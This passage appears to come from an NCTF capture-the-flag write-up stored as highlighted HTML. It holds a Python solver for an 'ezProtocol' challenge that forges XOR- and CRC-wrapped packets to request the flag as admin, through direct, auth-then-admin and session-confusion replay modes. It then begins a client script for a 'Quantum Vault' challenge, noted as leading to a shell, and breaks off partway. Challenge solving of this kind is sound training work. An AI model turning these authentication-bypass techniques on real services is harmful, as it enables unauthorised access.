solve_ezProtocol.py 114.66.24.221 48082 --mode auth</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argparse</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> json</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> zlib</span><span leaf=""><br/></span><span leaf="">MAGIC = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;GAME&#34;</span></span><span leaf=""><br/></span><span leaf="">KEY = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;NCTF&#34;</span></span><span leaf=""><br/></span><span leaf="">TYPE_AUTH = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf=""><br/></span><span leaf="">TYPE_QUERY = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x02</span></span><span leaf=""><br/></span><span leaf="">TYPE_GETFLAG = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">xor_payload</span></span><span style="line-height: 26px;"><span leaf="">(data: bytes)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(data[i] ^ KEY[i % len(KEY)] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(data)))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">build_packet</span></span><span style="line-height: 26px;"><span leaf="">(msg_type: int, payload_obj: dict)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    payload = json.dumps(payload_obj, separators=(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;,&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:&#34;</span></span><span leaf="">)).encode()</span><span leaf=""><br/></span><span leaf="">    enc_payload = xor_payload(payload)</span><span leaf=""><br/></span><span leaf="">    header = bytearray(MAGIC + bytes([msg_type, len(enc_payload)]) + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;\x00\x00\x00\x00&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    checksum = zlib.crc32(header + enc_payload) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">    header[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">] = struct.pack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&gt;I&#34;</span></span><span leaf="">, checksum)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(header) + enc_payload</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recv_packet</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket)</span></span><span leaf=""> -&gt; tuple[int, dict]:</span></span><span leaf=""><br/></span><span leaf="">    header = recv_exact(sock, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> header[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">] != MAGIC:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;bad magic: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{header[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">]!r}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    msg_type = header[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    length = header[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    recv_checksum = struct.unpack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&gt;I&#34;</span></span><span leaf="">, header[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">])[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    payload = recv_exact(sock, length)</span><span leaf=""><br/></span><span leaf="">    verify_header = bytearray(header)</span><span leaf=""><br/></span><span leaf="">    verify_header[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">] = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;\x00\x00\x00\x00&#34;</span></span><span leaf=""><br/></span><span leaf="">    calc_checksum = zlib.crc32(bytes(verify_header) + payload) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> calc_checksum != recv_checksum:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ValueError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;checksum mismatch: got </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{recv_checksum:<a class="wx_topic_link" topic-id="mnnvsr7c-f8qbor" style="color: #576B95 !important;" data-topic="1" data-recommend="">#x</a>}</span></span><span leaf="">, expect </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{calc_checksum:<a class="wx_topic_link" topic-id="mnnvsr7c-expseq" style="color: #576B95 !important;" data-topic="1" data-recommend="">#x</a>}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    plain = xor_payload(payload)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> msg_type, json.loads(plain.decode())</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recv_exact</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, n: int)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">    chunks = []</span><span leaf=""><br/></span><span leaf="">    remain = n</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> remain:</span><span leaf=""><br/></span><span leaf="">        chunk = sock.recv(remain)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">raise</span></span><span leaf=""> ConnectionError(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;connection closed before packet completed&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        chunks.append(chunk)</span><span leaf=""><br/></span><span leaf="">        remain -= len(chunk)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf="">.join(chunks)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">exchange</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket, msg_type: int, payload_obj: dict)</span></span><span leaf=""> -&gt; dict:</span></span><span leaf=""><br/></span><span leaf="">    sock.sendall(build_packet(msg_type, payload_obj))</span><span leaf=""><br/></span><span leaf="">    _, resp = recv_packet(sock)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> resp</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">mode_direct</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket)</span></span><span leaf=""> -&gt; list[dict]:</span></span><span leaf=""><br/></span><span leaf="">    steps = []</span><span leaf=""><br/></span><span leaf="">    steps.append(exchange(sock, TYPE_GETFLAG, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;admin&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">}))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> steps</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">mode_auth_then_admin</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket)</span></span><span leaf=""> -&gt; list[dict]:</span></span><span leaf=""><br/></span><span leaf="">    steps = []</span><span leaf=""><br/></span><span leaf="">    steps.append(exchange(sock, TYPE_AUTH, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ctfer&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NCTF2026&#34;</span></span><span leaf="">}))</span><span leaf=""><br/></span><span leaf="">    steps.append(exchange(sock, TYPE_GETFLAG, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;admin&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">}))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> steps</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">mode_session_confusion</span></span><span style="line-height: 26px;"><span leaf="">(sock: socket.socket)</span></span><span leaf=""> -&gt; list[dict]:</span></span><span leaf=""><br/></span><span leaf="">    steps = []</span><span leaf=""><br/></span><span leaf="">    sock.sendall(</span><span leaf=""><br/></span><span leaf="">        build_packet(TYPE_AUTH, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ctfer&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NCTF2026&#34;</span></span><span leaf="">})</span><span leaf=""><br/></span><span leaf="">        + build_packet(TYPE_AUTH, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;admin&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">})</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    steps.append(recv_packet(sock)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">    steps.append(recv_packet(sock)[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">    steps.append(exchange(sock, TYPE_GETFLAG, {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;admin&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">}))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> steps</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    parser = argparse.ArgumentParser(description=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ezProtocol solver&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;host&#34;</span></span><span leaf="">, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;target host&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;port&#34;</span></span><span leaf="">, type=int, help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;target port&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--mode&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        choices=[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;direct&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;auth&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;confusion&#34;</span></span><span leaf="">],</span><span leaf=""><br/></span><span leaf="">        default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;direct&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;direct: send getflag as admin directly; auth: auth as ctfer then getflag as admin; confusion: replay the dual-auth pattern from the pcap&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    args = parser.parse_args()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> socket.create_connection((args.host, args.port), timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> sock:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> args.mode == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;direct&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            responses = mode_direct(sock)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">elif</span></span><span leaf=""> args.mode == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;auth&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            responses = mode_auth_then_admin(sock)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            responses = mode_session_confusion(sock)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> idx, resp </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(responses, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[step </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{idx}</span></span><span leaf="">] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{json.dumps(resp, ensure_ascii=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Quantum Vault</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将初始 100 USD 转换为高汇率币种，再去collect，然后去拿shell</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> re</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> select</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> socket</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span leaf="">HOST = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;114.66.24.221&#34;</span></span><span leaf=""><br/></span><span leaf="">PORT = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">46978</span></span><span leaf=""><br/></span><span leaf="">PROMPT_RE = re.compile(r</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;\d+@[A-Z]+&gt; &#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">ANSI_RE = re.compile(r</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;\x1b\[[0-9;]*m&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">TIMEOUT_MARK = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;量子链路超时&#34;</span></span><span leaf="">.encode()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">strip_ansi</span></span><span style="line-height: 26px;"><span leaf="">(data: bytes)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ANSI_RE.sub(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf="">, data).decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;utf-8&#34;</span></span><span leaf="">, errors=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;replace&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Client</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self, host: str, port: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        self.sock = socket.create_connection((host, port), timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.sock.setblocking(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">_recv_until</span></span><span style="line-height: 26px;"><span leaf="">(self, idle: float, total: float)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span leaf="">        buf = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        start = time.time()</span><span leaf=""><br/></span><span leaf="">        last = start</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            now = time.time()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> now - start &gt; total:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">            timeout = min(idle, total - (now - start))</span><span leaf=""><br/></span><span leaf="">            readable, _, _ = select.select([self.sock], [], [], timeout)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> readable:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> buf </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> time.time() - last &gt;= idle:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">            chunk = self.sock.recv(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> chunk:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">            buf += chunk</span><span leaf=""><br/></span><span leaf="">            last = time.time()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> PROMPT_RE.search(buf) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> TIMEOUT_MARK </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> buf:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> buf</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recv_until_prompt</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf=""> -&gt; bytes:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> self._recv_until(idle=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.2</span></span><span leaf="">, total=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8.0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">cmd</span></span><span style="line-height: 26px;"><span leaf="">(self, line: str)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span leaf="">        self.sock.sendall(line.encode() + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;\n&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> strip_ansi(self.recv_until_prompt())</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">recv_some</span></span><span style="line-height: 26px;"><span leaf="">(self, wait: float)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> strip_ansi(self._recv_until(idle=wait, total=wait))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">close</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            self.sock.close()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> OSError:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">(argv: list[str])</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span leaf="">    cli = Client(HOST, PORT)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        banner = strip_ansi(cli.recv_until_prompt())</span><span leaf=""><br/></span><span leaf="">        sys.stdout.write(banner)</span><span 